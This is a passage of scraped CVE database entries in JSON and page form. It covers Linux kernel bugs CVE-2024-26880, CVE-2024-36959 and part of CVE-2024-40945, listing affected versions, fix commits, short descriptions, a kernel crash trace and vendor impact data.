              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm: call the resume method on internal suspend\n\nThere is this reported crash when experimenting with the lvm2 testsuite.\nThe list corruption is caused by the fact that the postsuspend and resume\nmethods were not paired correctly; there were two consecutive calls to the\norigin_postsuspend function. The second call attempts to remove the\n\"hash_list\" entry from a list, while it was already removed by the first\ncall.\n\nFix __dm_internal_resume so that it calls the preresume and resume\nmethods of the table\u0027s targets.\n\nIf a preresume method of some target fails, we are in a tricky situation.\nWe can\u0027t return an error because dm_internal_resume isn\u0027t supposed to\nreturn errors. We can\u0027t return success, because then the \"resume\" and\n\"postsuspend\" methods would not be paired correctly. So, we set the\nDMF_SUSPENDED flag and we fake normal suspend - it may confuse userspace\ntools, but it won\u0027t cause a kernel crash.\n\n------------[ cut here ]------------\nkernel BUG at lib/list_debug.c:56!\ninvalid opcode: 0000 [#1] PREEMPT SMP\nCPU: 1 PID: 8343 Comm: dmsetup Not tainted 6.8.0-rc6 #4\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014\nRIP: 0010:__list_del_entry_valid_or_report+0x77/0xc0\n\u003csnip\u003e\nRSP: 0018:ffff8881b831bcc0 EFLAGS: 00010282\nRAX: 000000000000004e RBX: ffff888143b6eb80 RCX: 0000000000000000\nRDX: 0000000000000001 RSI: ffffffff819053d0 RDI: 00000000ffffffff\nRBP: ffff8881b83a3400 R08: 00000000fffeffff R09: 0000000000000058\nR10: 0000000000000000 R11: ffffffff81a24080 R12: 0000000000000001\nR13: ffff88814538e000 R14: ffff888143bc6dc0 R15: ffffffffa02e4bb0\nFS:  00000000f7c0f780(0000) GS:ffff8893f0a40000(0000) knlGS:0000000000000000\nCS:  0010 DS: 002b ES: 002b CR0: 0000000080050033\nCR2: 0000000057fb5000 CR3: 0000000143474000 CR4: 00000000000006b0\nCall Trace:\n \u003cTASK\u003e\n ? die+0x2d/0x80\n ? do_trap+0xeb/0xf0\n ? __list_del_entry_valid_or_report+0x77/0xc0\n ? do_error_trap+0x60/0x80\n ? __list_del_entry_valid_or_report+0x77/0xc0\n ? exc_invalid_op+0x49/0x60\n ? __list_del_entry_valid_or_report+0x77/0xc0\n ? asm_exc_invalid_op+0x16/0x20\n ? table_deps+0x1b0/0x1b0 [dm_mod]\n ? __list_del_entry_valid_or_report+0x77/0xc0\n origin_postsuspend+0x1a/0x50 [dm_snapshot]\n dm_table_postsuspend_targets+0x34/0x50 [dm_mod]\n dm_suspend+0xd8/0xf0 [dm_mod]\n dev_suspend+0x1f2/0x2f0 [dm_mod]\n ? table_deps+0x1b0/0x1b0 [dm_mod]\n ctl_ioctl+0x300/0x5f0 [dm_mod]\n dm_compat_ctl_ioctl+0x7/0x10 [dm_mod]\n __x64_compat_sys_ioctl+0x104/0x170\n do_syscall_64+0x184/0x1b0\n entry_SYSCALL_64_after_hwframe+0x46/0x4e\nRIP: 0033:0xf7e6aead\n\u003csnip\u003e\n---[ end trace 0000000000000000 ]---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:04.267Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/69836d9329f0b4c58faaf3d886a7748ddb5bf718"
        },
        {
          "url": "https://git.kernel.org/stable/c/da7ece2197101b1469853e6b5e915be1e3896d52"
        },
        {
          "url": "https://git.kernel.org/stable/c/f89bd27709376d37ff883067193320c58a8c1d5a"
        },
        {
          "url": "https://git.kernel.org/stable/c/03ad5ad53e51abf3a4c7538c1bc67a5982b41dc5"
        },
        {
          "url": "https://git.kernel.org/stable/c/ad10289f68f45649816cc68eb93f45fd5ec48a15"
        },
        {
          "url": "https://git.kernel.org/stable/c/15a3fc5c8774c17589dabfe1d642d40685c985af"
        },
        {
          "url": "https://git.kernel.org/stable/c/ef02d8edf738557af2865c5bfb66a03c4e071be7"
        },
        {
          "url": "https://git.kernel.org/stable/c/360a7d1be8112654f1fb328ed3862be630bca3f4"
        },
        {
          "url": "https://git.kernel.org/stable/c/65e8fbde64520001abf1c8d0e573561b4746ef38"
        }
      ],
      "title": "dm: call the resume method on internal suspend",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26880",
    "datePublished": "2024-04-17T10:27:37.110Z",
    "dateReserved": "2024-02-19T14:20:24.185Z",
    "dateUpdated": "2026-05-12T11:50:03.912Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36959 (GCVE-0-2024-36959)

Vulnerability from cvelistv5 – Published: 2024-05-30 15:35 – Updated: 2026-05-12 11:54

Title

pinctrl: devicetree: fix refcount leak in pinctrl_dt_to_map()

Summary

In the Linux kernel, the following vulnerability has been resolved: pinctrl: devicetree: fix refcount leak in pinctrl_dt_to_map() If we fail to allocate propname buffer, we need to drop the reference count we just took. Because the pinctrl_dt_free_maps() includes the droping operation, here we call it directly.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/06780473cb8a858d1…
https://git.kernel.org/stable/c/47d253c485491caaf…
https://git.kernel.org/stable/c/35ab679e8bb5a81a4…
https://git.kernel.org/stable/c/76aa2440deb9a3550…
https://git.kernel.org/stable/c/518d5ddafeb084d6d…
https://git.kernel.org/stable/c/026e24cf31733dbd9…
https://git.kernel.org/stable/c/c7e02ccc9fdc496fe…
https://git.kernel.org/stable/c/a0cedbcc8852d6c77…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a988dcd3dd9e691c5ccc3324b209688f3b5453e9 , < 06780473cb8a858d1d6cab2673e021b072a852d1 (git) Affected: 040f726fecd88121f3b95e70369785ad452dddf9 , < 47d253c485491caaf70d8cd8c0248ae26e42581f (git) Affected: 777430aa4ddccaa5accec6db90ffc1d47f00d471 , < 35ab679e8bb5a81a4f922d3efbd43e32bce69274 (git) Affected: 97e5b508e96176f1a73888ed89df396d7041bfcb , < 76aa2440deb9a35507590f2c981a69a57ecd305d (git) Affected: 91d5c5060ee24fe8da88cd585bb43b843d2f0dce , < 518d5ddafeb084d6d9b1773ed85164300037d0e6 (git) Affected: 91d5c5060ee24fe8da88cd585bb43b843d2f0dce , < 026e24cf31733dbd97f41cc9bc5273ace428eeec (git) Affected: 91d5c5060ee24fe8da88cd585bb43b843d2f0dce , < c7e02ccc9fdc496fe51e440e3e66ac36509ca049 (git) Affected: 91d5c5060ee24fe8da88cd585bb43b843d2f0dce , < a0cedbcc8852d6c77b00634b81e41f17f29d9404 (git) Affected: aaf552c5d53abe4659176e099575fe870d2e4768 (git) Affected: b4d9f55cd38435358bc16d580612bc0d798d7b4c (git) Affected: 5834a3a98cd266ad35a229923c0adbd0addc8d68 (git)
Linux	Linux	Affected: 6.1 Unaffected: 0 , < 6.1 (semver) Unaffected: 4.19.314 , ≤ 4.19.* (semver) Unaffected: 5.4.276 , ≤ 5.4.* (semver) Unaffected: 5.10.217 , ≤ 5.10.* (semver) Unaffected: 5.15.159 , ≤ 5.15.* (semver) Unaffected: 6.1.91 , ≤ 6.1.* (semver) Unaffected: 6.6.31 , ≤ 6.6.* (semver) Unaffected: 6.8.10 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:43:50.512Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/06780473cb8a858d1d6cab2673e021b072a852d1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/47d253c485491caaf70d8cd8c0248ae26e42581f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/35ab679e8bb5a81a4f922d3efbd43e32bce69274"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/76aa2440deb9a35507590f2c981a69a57ecd305d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/518d5ddafeb084d6d9b1773ed85164300037d0e6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/026e24cf31733dbd97f41cc9bc5273ace428eeec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c7e02ccc9fdc496fe51e440e3e66ac36509ca049"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a0cedbcc8852d6c77b00634b81e41f17f29d9404"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00019.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36959",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:15:35.448800Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:59.187Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:20.525Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/pinctrl/devicetree.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "06780473cb8a858d1d6cab2673e021b072a852d1",
              "status": "affected",
              "version": "a988dcd3dd9e691c5ccc3324b209688f3b5453e9",
              "versionType": "git"
            },
            {
              "lessThan": "47d253c485491caaf70d8cd8c0248ae26e42581f",
              "status": "affected",
              "version": "040f726fecd88121f3b95e70369785ad452dddf9",
              "versionType": "git"
            },
            {
              "lessThan": "35ab679e8bb5a81a4f922d3efbd43e32bce69274",
              "status": "affected",
              "version": "777430aa4ddccaa5accec6db90ffc1d47f00d471",
              "versionType": "git"
            },
            {
              "lessThan": "76aa2440deb9a35507590f2c981a69a57ecd305d",
              "status": "affected",
              "version": "97e5b508e96176f1a73888ed89df396d7041bfcb",
              "versionType": "git"
            },
            {
              "lessThan": "518d5ddafeb084d6d9b1773ed85164300037d0e6",
              "status": "affected",
              "version": "91d5c5060ee24fe8da88cd585bb43b843d2f0dce",
              "versionType": "git"
            },
            {
              "lessThan": "026e24cf31733dbd97f41cc9bc5273ace428eeec",
              "status": "affected",
              "version": "91d5c5060ee24fe8da88cd585bb43b843d2f0dce",
              "versionType": "git"
            },
            {
              "lessThan": "c7e02ccc9fdc496fe51e440e3e66ac36509ca049",
              "status": "affected",
              "version": "91d5c5060ee24fe8da88cd585bb43b843d2f0dce",
              "versionType": "git"
            },
            {
              "lessThan": "a0cedbcc8852d6c77b00634b81e41f17f29d9404",
              "status": "affected",
              "version": "91d5c5060ee24fe8da88cd585bb43b843d2f0dce",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "aaf552c5d53abe4659176e099575fe870d2e4768",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "b4d9f55cd38435358bc16d580612bc0d798d7b4c",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "5834a3a98cd266ad35a229923c0adbd0addc8d68",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/pinctrl/devicetree.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.1"
            },
            {
              "lessThan": "6.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.314",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.276",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.217",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.159",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.91",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.31",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.314",
                  "versionStartIncluding": "4.19.267",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.276",
                  "versionStartIncluding": "5.4.225",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.217",
                  "versionStartIncluding": "5.10.156",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.159",
                  "versionStartIncluding": "5.15.80",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.91",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.31",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.10",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.334",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.300",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.0.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\npinctrl: devicetree: fix refcount leak in pinctrl_dt_to_map()\n\nIf we fail to allocate propname buffer, we need to drop the reference\ncount we just took. Because the pinctrl_dt_free_maps() includes the\ndroping operation, here we call it directly."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:17:48.927Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/06780473cb8a858d1d6cab2673e021b072a852d1"
        },
        {
          "url": "https://git.kernel.org/stable/c/47d253c485491caaf70d8cd8c0248ae26e42581f"
        },
        {
          "url": "https://git.kernel.org/stable/c/35ab679e8bb5a81a4f922d3efbd43e32bce69274"
        },
        {
          "url": "https://git.kernel.org/stable/c/76aa2440deb9a35507590f2c981a69a57ecd305d"
        },
        {
          "url": "https://git.kernel.org/stable/c/518d5ddafeb084d6d9b1773ed85164300037d0e6"
        },
        {
          "url": "https://git.kernel.org/stable/c/026e24cf31733dbd97f41cc9bc5273ace428eeec"
        },
        {
          "url": "https://git.kernel.org/stable/c/c7e02ccc9fdc496fe51e440e3e66ac36509ca049"
        },
        {
          "url": "https://git.kernel.org/stable/c/a0cedbcc8852d6c77b00634b81e41f17f29d9404"
        }
      ],
      "title": "pinctrl: devicetree: fix refcount leak in pinctrl_dt_to_map()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36959",
    "datePublished": "2024-05-30T15:35:51.624Z",
    "dateReserved": "2024-05-30T15:25:07.080Z",
    "dateUpdated": "2026-05-12T11:54:20.525Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40945 (GCVE-0-2024-40945)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:25 – Updated: 2026-05-12 11:55

Title

iommu: Return right value in iommu_sva_bind_device()

Summary

In the Linux kernel, the following vulnerability has been resolved: iommu: Return right value in iommu_sva_bind_device() iommu_sva_bind_device() should return either a sva bond handle or an ERR_PTR value in error cases. Existing drivers (idxd and uacce) only check the return value with IS_ERR(). This could potentially lead to a kernel NULL pointer dereference issue if the function returns NULL instead of an error pointer. In reality, this doesn't cause any problems because iommu_sva_bind_device() only returns NULL when the kernel is not configured with CONFIG_IOMMU_SVA. In this case, iommu_dev_enable_feature(dev, IOMMU_DEV_FEAT_SVA) will return an error, and the device drivers won't call iommu_sva_bind_device() at all.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/700f564758882db7c…
https://git.kernel.org/stable/c/cf34f8f66982a36e5…
https://git.kernel.org/stable/c/2973b8e7d127754de…
https://git.kernel.org/stable/c/6325eab6c108fed27…
https://git.kernel.org/stable/c/7388ae6f26c0ba95f…
https://git.kernel.org/stable/c/61a96da9649a6b6a1…
https://git.kernel.org/stable/c/89e8a2366e3bce584…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 26b25a2b98e45aeb40eedcedc586ad5034cbd984 , < 700f564758882db7c039dfba9443fe762561a3f8 (git) Affected: 26b25a2b98e45aeb40eedcedc586ad5034cbd984 , < cf34f8f66982a36e5cba0d05781b21ec9606b91e (git) Affected: 26b25a2b98e45aeb40eedcedc586ad5034cbd984 , < 2973b8e7d127754de9013177c41c0b5547406998 (git) Affected: 26b25a2b98e45aeb40eedcedc586ad5034cbd984 , < 6325eab6c108fed27f60ff51852e3eac0ba23f3f (git) Affected: 26b25a2b98e45aeb40eedcedc586ad5034cbd984 , < 7388ae6f26c0ba95f70cc96bf9c5d5cb06c908b6 (git) Affected: 26b25a2b98e45aeb40eedcedc586ad5034cbd984 , < 61a96da9649a6b6a1a5d5bde9374b045fdb5c12e (git) Affected: 26b25a2b98e45aeb40eedcedc586ad5034cbd984 , < 89e8a2366e3bce584b6c01549d5019c5cda1205e (git)
Linux	Linux	Affected: 5.2 Unaffected: 0 , < 5.2 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:30:25.132Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/700f564758882db7c039dfba9443fe762561a3f8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cf34f8f66982a36e5cba0d05781b21ec9606b91e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2973b8e7d127754de9013177c41c0b5547406998"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7388ae6f26c0ba95f70cc96bf9c5d5cb06c908b6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/61a96da9649a6b6a1a5d5bde9374b045fdb5c12e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/89e8a2366e3bce584b6c01549d5019c5cda1205e"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40945",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:04:14.417698Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:25.334Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:46.795Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/linux/iommu.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "700f564758882db7c039dfba9443fe762561a3f8",
              "status": "affected",
              "version": "26b25a2b98e45aeb40eedcedc586ad5034cbd984",
              "versionType": "git"
            },
            {
              "lessThan": "cf34f8f66982a36e5cba0d05781b21ec9606b91e",
              "status": "affected",
              "version": "26b25a2b98e45aeb40eedcedc586ad5034cbd984",
              "versionType": "git"
            },
            {
              "lessThan": "2973b8e7d127754de9013177c41c0b5547406998",
              "status": "affected",
              "version": "26b25a2b98e45aeb40eedcedc586ad5034cbd984",
              "versionType": "git"
            },
            {
              "lessThan": "6325eab6c108fed27f60ff51852e3eac0ba23f3f",
              "status": "affected",
              "version": "26b25a2b98e45aeb40eedcedc586ad5034cbd984",
              "versionType": "git"
            },
            {
              "lessThan": "7388ae6f26c0ba95f70cc96bf9c5d5cb06c908b6",
              "status": "affected",
              "version": "26b25a2b98e45aeb40eedcedc586ad5034cbd984",
              "versionType": "git"
            },
            {
              "lessThan": "61a96da9649a6b6a1a5d5bde9374b045fdb5c12e",
              "status": "affected",
              "version": "26b25a2b98e45aeb40eedcedc586ad5034cbd984",
              "versionType": "git"
            },
            {
              "lessThan": "89e8a2366e3bce584b6c01549d5019c5cda1205e",
              "status": "affected",
              "version": "26b25a2b98e45aeb40eedcedc586ad5034cbd984",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/linux/iommu.h"
          ],
